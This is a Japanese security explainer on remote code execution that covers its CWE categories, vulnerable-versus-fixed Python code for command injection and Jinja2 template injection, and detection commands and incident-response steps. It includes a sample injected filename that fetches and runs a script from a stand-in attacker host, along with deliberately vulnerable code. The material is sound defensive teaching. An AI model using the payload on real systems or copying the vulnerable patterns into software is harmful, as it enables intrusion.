RCE(Remote Code Execution:リモートコード実行)とは、ネットワークの向こうにいる第三者が、こちらのサーバーや端末の上で好きな命令を動かせてしまう状態、またはその原因となる脆弱性を指します。この記事では、RCEが成立する代表的な5つの経路をCWE Top 25 2025の順位とあわせて整理したうえで、脆弱性の作り込み方と直し方をPythonのコードで比べる構成です。さらに、侵入された後に被害がどこまで広がるか、痕跡をどう探して当日どう封じ込めるかまで、開発と運用の担当者が手を動かせる粒度で説明します。
まとめ:RCE(リモートコード実行)の正体と開発・運用側が先に塞ぐ箇所
RCEは攻撃手法の名前ではなく、「外から届いたデータが、どこかで命令として解釈される」という結果の名前です。入口はOSコマンドの組み立て、テンプレートやevalへの入力の混入、デシリアライズ、ファイルのアップロード、メモリ破壊の5系統にほぼ収まります。
自社で書いたコードについては、入力をシェルやテンプレートの文字列に連結しない、信頼できないデータをオブジェクトとして復元しない、アップロードしたファイルを実行できる場所に置かない、の3点で大半を塞げます。製品やミドルウェアの既知の脆弱性は、CISAのKEV(悪用が確認された脆弱性の一覧)に載ったものから先に更新するのが原則です。
見落とされやすいのが被害の上限です。乗っ取られるのは、その処理の実行ユーザーの権限と、そのサーバーから届く範囲に限られます。ここを絞るだけで、同じ脆弱性でも被害額が桁で変わります。
RCE(リモートコード実行)の意味と任意コード実行・exploitとの違い
遠隔の第三者がサーバー上で命令を動かせる状態とCWE上の分類の整理
RCEが成立すると、攻撃者はWebフォームやAPIへリクエストを送るだけで、サーバー上でファイルの読み書きや外部への通信、別のプログラムの起動ができます。離れた場所から認証なしで成立することが多く、ほかの脆弱性より深刻に扱われます。
脆弱性の種類を分類するCWE(共通脆弱性タイプ一覧)には「RCE」という1つの番号はありません。結果としてRCEに至る弱点が、CWE-78(OSコマンドインジェクション)、CWE-94(コードインジェクション)、CWE-502(信頼できないデータのデシリアライズ)などに分かれて登録されています。脆弱性情報で「RCE」と書かれていたら、対策の当たりを付ける手掛かりは、原因となったCWEの確認です。CVEとCWEの関係はCVE(共通脆弱性識別子)とはで整理しています。
任意コード実行・コマンドインジェクション・exploitとの言葉の使い分け
似た言葉が多いので、範囲の違いを表にまとめます。
| 用語 | 指すもの | RCEとの関係 |
|---|---|---|
| 任意コード実行(ACE) | 攻撃者が選んだ命令を実行できる状態 | RCEの上位概念。手元の操作が前提の場合も含む |
| RCE | ネットワーク越しに任意コード実行が成立する状態 | 本記事の主題 |
| コマンドインジェクション | 入力がOSコマンドとして解釈される弱点 | RCEに至る原因の1つ |
| exploit | 脆弱性を突くための攻撃コードや手順 | RCEを実際に起こす道具 |
攻撃コードそのものの仕組みはexploitとは?脆弱性を悪用する攻撃コードの仕組み・種類・防御で解説しています。
CVSSで9.0以上の緊急に並びやすい理由とAV:N・PR:Nの読み方
RCEの脆弱性は、深刻度を数値化するCVSSで9.0以上の「緊急」に入りやすい傾向があります。2021年12月に公表されたLog4jの脆弱性(通称Log4Shell)のNVDの記録では、CVSS 3.1の基本値が満点の10.0で、ベクトルはAV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:Hです。
読み方の要点は前半の4項目です。AV:Nはネットワーク経由で攻撃できる、AC:Lは特別な条件が要らない、PR:Nは権限が要らない、UI:Nは利用者の操作が要らない、を意味します。この4つが揃ったRCEは、インターネットに公開された時点で自動化された攻撃の対象となる状態です。最新版の評価基準はFIRSTのCVSS v4.0仕様書で確認できます。
RCEが成立する代表的な5経路とCWE Top 25 2025での順位
MITREが2025年版として公表したCWE Top 25は、2024年6月から2025年6月までの39,080件のCVEを対象に、発生頻度と深刻度から危険な弱点を順位付けしています。RCEに直結する弱点の順位と、CISAのKEVに載った件数は次のとおりです。
| 経路 | CWE | 2025年順位 | KEV掲載件数 |
|---|---|---|---|
| OSコマンドインジェクション | CWE-78 | 9位 | 20件 |
| コードインジェクション | CWE-94 | 10位 | 7件 |
| 危険なファイルのアップロード | CWE-434 | 12位 | 4件 |
| 信頼できないデータのデシリアライズ | CWE-502 | 15位 | 11件 |
| メモリ破壊(範囲外書き込み) | CWE-787 | 5位 | 12件 |
実際に悪用された件数で並べ直したMITREのKEV分析では、OSコマンドインジェクションが1位、デシリアライズが5位、コードインジェクションが7位です。総合順位より、攻撃者がどこを狙っているかがはっきり出ています。
OSコマンドインジェクションで入力値がシェルの命令に変わる経路
最も多く悪用されているのが、外部の入力をつなげてOSコマンドを組み立てる処理です。画像や動画の変換、PDF生成、ネットワーク機器の診断機能(pingやtraceroute)などで、ファイル名やホスト名をコマンド文字列に埋め込むと、;や|を含む入力で別のコマンドを続けて実行されます。
2026年9月のGyazoの不正アクセスも、Helpfeelの第三報によると、動画などを変換する処理で外部からの入力値がサーバー上のコマンドとして解釈されたことが原因でした。引数配列で渡す直し方は、Python・Node.js・Goの例をOSコマンドインジェクションとは?仕組みと引数配列で防ぐ実装にまとめています。
コードインジェクションとサーバーサイドテンプレートインジェクション
シェルを通さず、アプリケーションの言語そのものに入力を実行させてしまうのがコードインジェクション(CWE-94)です。PHPのeval、Pythonのevalやexec、JavaScriptのnew Functionに入力を渡す実装が典型です。
見つけにくいのが、テンプレートエンジンへの入力の混入です。CWE-1336として別に登録されており、サーバーサイドテンプレートインジェクション(SSTI)と呼ばれます。メール本文や帳票の文面を利用者が編集できる機能で、入力をテンプレートの「変数」ではなく「テンプレート本体」として扱うと、テンプレート言語の機能を伝ってOSの命令まで届きます。作り込み方を示したものが、次の章のコードです。
安全でないデシリアライゼーションでオブジェクト復元時に命令が走る経路
JavaのObjectInputStream、Pythonのpickle、PHPのunserializeなどは、バイト列からオブジェクトを復元する途中でクラスの処理を呼び出します。攻撃者が送ったデータをそのまま復元すると、ライブラリに含まれるクラスの組み合わせ(ガジェットチェーン)で命令の実行まで到達します。
OWASPのDeserialization Cheat Sheetが勧めるのは、信頼できない入力をネイティブ形式で復元しないことです。JSONのようなデータだけの形式に置き換え、どうしても必要なら復元を許すクラスを許可リストで限定します。言語ごとの実装は安全でないデシリアライゼーションとは?RCEに至る仕組みと言語別の防御実装を参照してください。
危険なファイルのアップロードからWebシェル設置に至る侵入経路
拡張子や中身を確かめずにファイルを受け取り、Webサーバーが実行できるディレクトリに置くと、攻撃者は.phpや.jspのファイルを送り込み、そのURLを開くだけで命令を実行できます(CWE-434)。こうして置かれる遠隔操作用のファイルがWebシェルです。
OWASPのFile Upload Cheat Sheetは、拡張子の許可リスト、サーバー側で生成したファイル名への付け替え、Webルートの外への保存を求めています。設置されたWebシェルの見つけ方と除去手順はWebシェルとは?仕組み・代表例と検知・除去の手順で扱いました。WordPressの未認証RCEからWebシェルが置かれた例としてはwp2shellとは?WordPress未認証RCEの仕組みと影響バージョンがあります。
メモリ破壊とミドルウェア・製品の既知CVEから入る経路の扱い
C言語やC++で書かれたWebサーバー、VPN装置、画像処理ライブラリでは、範囲外書き込み(CWE-787・2025年5位)や解放後使用(CWE-416・同7位)が命令の実行につながります。自社のコードではなく、使っている製品やミドルウェアの欠陥として見つかるのがこの系統です。
対策はコードの書き方ではなく、版の把握と更新の速さで決まります。Apache HTTP Server 2.4.49・2.4.50のパストラバーサルがRCEに発展した事例はCVE-2021-41773・CVE-2021-42013とはで、React Server Componentsの事例はReact2Shell(CVE-2025-55182)とは?対応手順と影響版の確認で、それぞれ影響版の確かめ方を解説しています。
Pythonのコード例で見るRCEの作り込み方と引数配列・変数渡しの直し方
shell=Trueに入力を連結した変換処理が任意コマンドを通す仕組み
次のコードは、アップロードされた動画のファイル名を使ってサムネイルを作る処理です。上の書き方は、ファイル名にa.mp4; curl http://attacker.example/x | shのような文字列が入ると、変換の後ろで攻撃者のスクリプトを取ってきて実行します。
import subprocess
# 危険:入力をシェルの文字列に連結している
def make_thumb_unsafe(filename: str) -> None:
subprocess.run(f"ffmpeg -i /data/upload/{filename} -frames:v 1 /data/thumb.jpg",
shell=True, check=True)
# 修正:シェルを通さず、引数を配列で渡す
def make_thumb(filename: str) -> None:
subprocess.run(["ffmpeg", "-i", f"/data/upload/{filename}",
"-frames:v", "1", "/data/thumb.jpg"],
check=True)
Pythonのsubprocessの公式ドキュメントには、POSIX環境でshell=Trueを指定すると文字列が/bin/shに渡されること、その場合に空白や記号を正しくクォートする責任はアプリケーション側にあることが書かれています。配列で渡す版では、ファイル名に;が含まれていても1つの引数のままffmpegに届き、シェルの記号として解釈されません。
テンプレート文字列に入力を混ぜるSSTIと{{ 7*7 }}で分かる兆候
Jinja2(3.1系・2026年11月時点)で起きやすいSSTIの形が次のコードです。入力をテンプレート本体に連結すると、利用者が{{ 7*7 }}と書いただけで「49」が表示されます。脆弱性診断でSSTIを疑うときに最初に試す入力がこれで、計算結果が返れば、テンプレート言語の機能を伝ってPythonのオブジェクトをたどられる状態です。
from jinja2 import Environment
from jinja2.sandbox import SandboxedEnvironment
env = Environment(autoescape=True)
user_text = request.form["greeting"] # 利用者が編集できる文面
# 危険:入力をテンプレート本体に連結している({{ 7*7 }} が 49 になる)
html = env.from_string("<p>" + user_text + "</p>").render()
# 修正1:入力は変数として渡し、テンプレート本体は固定する
html = env.from_string("<p>{{ greeting }}</p>").render(greeting=user_text)
# 修正2:利用者にテンプレート自体を書かせる機能ならサンドボックスで描画する
sandbox = SandboxedEnvironment(autoescape=True)
html = sandbox.from_string(user_text).render(customer_name="山田")
Jinjaの公式ドキュメントによると、サンドボックスは既定でアンダースコアで始まる属性へのアクセスを止め、安全でない操作にはSecurityErrorを出します。同じページに「サンドボックスだけで完全な安全は得られない」と明記されているため、利用者が書けるテンプレートは修正1で済むなら修正1を選び、修正2は差し込み項目を自由に配置させたい機能に限ります。
入力値の許可リスト検証と実行ユーザーの権限を絞る多層の防御策
引数配列や変数渡しで命令への混入は止まりますが、それだけでは足りない場面があります。ffmpegのように引数でURLや別ファイルを読み込めるツールでは、-で始まる値がオプションとして扱われるからです。入力は「拒否する文字を並べる」のではなく、「受け付ける形を決める」許可リストで検証します。
- ファイル名は受け取らず、サーバー側でUUIDなどを生成して付け直す
- 拡張子と中身の形式(先頭バイト)を、受け付ける種類に限って確かめる
- 変換処理は専用の権限の低いユーザーで動かし、Webルートへの書き込み権を持たせない
- 変換用サーバーやコンテナから、データベースや社内ネットワークへの通信を許可しない
前の2つは命令の混入を防ぐ層、後ろの2つは破られたときの被害を小さくする層です。IPAの「安全なウェブサイトの作り方」も、OSコマンド・インジェクションの根本的解決としてシェルを起動できる関数を使わないことを挙げたうえで、保険的な対策を重ねる構成をとっています。後ろの2つが無いと何が起きるかは、次の章の事例がそのまま示しています。
侵入後の横展開で被害が広がる流れとGyazo事例に見るDBまでの経路
実行ユーザーの権限と到達できるネットワークで決まる被害の上限
RCEで攻撃者が最初に手にするのは、脆弱な処理を動かしていたユーザーの権限です。Webサーバーならwww-dataやnginx、Javaのアプリケーションサーバーならtomcatなどがこれに当たります。この権限で読める設定ファイルに、データベースのパスワードやクラウドのアクセスキーが書かれていると、そこから先は正規の認証情報を使った操作になります。
クラウドでは、インスタンスに付与された権限をメタデータサービスから取り出される経路もあります(SSRFとは?仕組み・クラウドメタデータ悪用と防御実装)。被害の上限は、脆弱性の種類ではなくサーバーに何を持たせていたかで決まります。
Gyazoの変換サーバーから約2,362万件の利用者情報に届いた経路
Gyazoの件は、横展開の典型を国内の公表資料で確かめられる例です。第一報は「画像アップロードサーバーに存在した脆弱性を悪用し、第三者が任意のコマンドを実行した」と公表しました。第三報では、攻撃者が変換処理用のサーバーで任意のコマンドを実行し、そのサーバーから到達できたデータベースに接続して大量のデータを読み取り、外部のサーバーへ送ったと説明されています。
流出したユーザー情報は約2,362万件で、パスワードのハッシュ値やログインセッションIDも含まれていました。入口は動画変換という周辺機能でしたが、変換サーバーからデータベースへの通信が許されていたため、全利用者の情報流出につながりました。経緯と利用者側の点検手順はGyazoの不正アクセスと2,362万件の流出|第三報の原因と利用者の点検手順にまとめています。
RCEの痕跡をサーバーで見つける検知コマンドと発覚直後の封じ込め手順
Webサーバーの子プロセスにシェルが現れていないかを調べるコマンド
RCEの痕跡で最も分かりやすいのは、本来シェルを起動しないはずのWebサーバーやアプリケーションサーバーの下に、shやbash、curlなどのプロセスがぶら下がっていることです。Linuxのサーバーでは次のコマンドで確かめられます。
# プロセスの親子関係を表示し、Web系プロセスの下にシェルが無いか見る
ps -eo pid,ppid,user,lstart,cmd --forest | grep -B2 -A4 -E "nginx|php-fpm|java|node"
# Webサーバーのユーザーが外部へ張っている通信を一覧する
ss -tnp state established | grep -E "nginx|php-fpm|java|node"
# 直近に作られた・書き換えられたスクリプトをWebルートから探す
find /var/www -type f \( -name "*.php" -o -name "*.jsp" \) -newermt "2026-11-01"
# 以後の監視:www-data(Debian・Ubuntuではuid 33)によるコマンド実行を記録する
auditctl -a always,exit -F arch=b64 -S execve -F euid=33 -k web_exec
ausearch -k web_exec -i | tail -n 50
1つ目で見つかったプロセスは親のPIDと起動時刻を控え、その前後のアクセスログから入口のURLを絞り込みます。auditctlの設定は再起動で消えるため、残すなら/etc/audit/rules.d/に書きます。
RCE発覚当日に行うサーバー隔離・資格情報の失効・証拠保全の順番
痕跡が見つかったら、次の順で動きます。順番を誤ると、証拠が消えるか、攻撃者に気付かれて別の入口を使われます。
- サーバーをネットワークから切り離す(電源は落とさない。メモリ上の痕跡が消えるため)
- ディスクのスナップショットとメモリの取得、アクセスログ・認証ログの退避
- そのサーバーが持っていたDBパスワード・APIキー・クラウドの認証情報をすべて失効・再発行
- 入口になった脆弱性の特定と修正(修正前のサーバーを再接続しない)
- 同じ認証情報が届く範囲(DB・ストレージ・他サーバー)のログを遡って調べる
3は1の直後に行います。サーバーを切り離しても、すでに持ち出された認証情報は別の場所から使えるからです。Gyazoの例でも、第二報では侵入経路の遮断と並んで、OAuth連携を含む認証情報の無効化と利用制限が実施済みの対策に挙がっています。
RCE対策を自社で回す範囲と脆弱性診断・改修を外部へ任せる判断
KEV掲載とインターネット公開の有無で決めるパッチ適用の優先順位
製品やミドルウェアのRCEは毎月のように出るため、すべてを同じ速さでは当てられません。優先順位はCVSSの点数より次の2点で決めます。
1つ目はCISAのKEVカタログへの掲載で、載っていれば点数にかかわらず最優先です。2つ目はインターネットから直接届くかどうかです。VPN装置やWebサーバー、CMSは数日以内、社内からしか届かないものは月次の更新に回すと線を引いておけば、判断が速くなります。
WAF・EDRで時間を稼ぐ場面とコード改修が避けられない場面
WAFは、既知の攻撃文字列を含むリクエストを手前で止めます。修正版がまだ出ていない、または更新に検証期間が必要なときに、時間を稼ぐ手段として役立ちます。仕組みと選び方はWAFとは?仕組み・ファイアウォール/IPS・IDSとの違いで解説しました。EDRは、サーバー上で不審なプロセスの起動を見つけて止める側の道具です(EDRとは?EPP・XDRとの違いと検知の仕組み)。
ただし、自社で書いたコードの脆弱性はWAFでは止まらないと考えます。前の章のファイル名の例は、汎用ルールに掛からない形にいくらでも書き換えられるからです。自社の処理にshell=Trueや入力の連結が見つかったら、WAFの設定ではなくコードの改修に予算を振ります。
自社開発のアップロード・変換処理を外部の脆弱性診断に出す条件
次のどれかに当てはまるシステムは、リリース前か次の改修の前に、外部の脆弱性診断を受ける価値があります。利用者がファイルをアップロードし、サーバー側で変換・解析している。利用者が文面やテンプレートを編集できる。外部のコマンドやスクリプトを呼び出す処理がある。会員情報など、流出時に公表が必要なデータを持つサーバーと同じネットワークにある。
反対に、静的なコーポレートサイトや、入力を受け付けずCMSの標準機能だけで動くサイトでは、診断より更新の徹底を先にします。診断の種類と費用の目安は脆弱性診断とは?種類・費用相場・進め方と外注時の判断基準で確認できる内容です。アップロードや変換処理を含むWebシステムの診断と、見つかった箇所の改修まで一括で任せたい場合は、脆弱性診断・セキュリティ診断で相談を受け付けています。
よくある質問
RCE(リモートコード実行)について、検索でよく調べられている疑問に答えます。
RCEとは簡単に言うと何ですか?
インターネット越しに、他人のサーバーやパソコンで好きなプログラムを動かせてしまう脆弱性のことです。攻撃者はログインせずに、ファイルの盗み出しやランサムウェアの実行、別のサーバーへの侵入まで進められます。
RCEと任意コード実行(ACE)の違いは何ですか?
任意コード実行は「攻撃者が選んだ命令を実行できる」状態の総称で、RCEはそのうちネットワーク越しに成立するものを指します。攻撃者がすでに端末へログインしていることを前提とする任意コード実行は、ローカルの問題として扱われるものです。同じ「コード実行」でも、外から直接突けるかどうかで対応の緊急度が変わります。
自社のWebサイトにRCEの脆弱性があるか確かめる方法はありますか?
使っている製品・ミドルウェア・ライブラリの版を一覧にし、NVDやJVNで既知のRCEが無いかを照合するのが最初の一歩です。自社で書いたコードは、shell=True、eval、pickle.loads、unserializeなどの呼び出しをソースコードから検索すると当たりが付きます。動作中のシステムに攻撃文字列を送る確認は、必ず管理者の許可を得て検証環境で行います。
WAFを入れればRCEは防げますか?
既知の製品の脆弱性に対する攻撃は、WAFのルールで止められることが多くあります。一方、自社開発のコードにある脆弱性は、攻撃文字列の形を少し変えるだけで汎用ルールをすり抜けられます。WAFは修正までの時間を稼ぐ手段として使い、自社コードの脆弱性は改修で直すのが原則です。
RCEの被害に遭ったら最初に何をすべきですか?
電源を入れたままサーバーをネットワークから切り離し、そのサーバーが持っていたパスワードやAPIキーを失効させるのが先です。続けてログとディスクを保全します。個人情報が含まれる場合は、個人情報保護委員会への報告の要否も確かめてください。
関連記事
- OSコマンドインジェクションとは?仕組みと引数配列で防ぐ実装をPython・Node.js・Goのコード例で解説:RCEで最も悪用されている経路の言語別の直し方。
- 安全でないデシリアライゼーションとは?RCEに至る仕組みと言語別の防御実装を解説:ガジェットチェーンの仕組みとJava・Python・PHPの防御。
- Webシェルとは?仕組み・代表例と検知・除去の手順をTomcat・PHP・IISのコマンド例で解説:RCEの後に置かれる遠隔操作ファイルの探し方。
- exploitとは?脆弱性を悪用する攻撃コードの仕組み・種類・防御を実装者向けに解説:RCEを実際に起こす攻撃コードの分類。
- CVE(共通脆弱性識別子)とは?番号の読み方・CVSS/CWE/NVDとの違いと調べ方:RCEの脆弱性情報を読むための番号体系。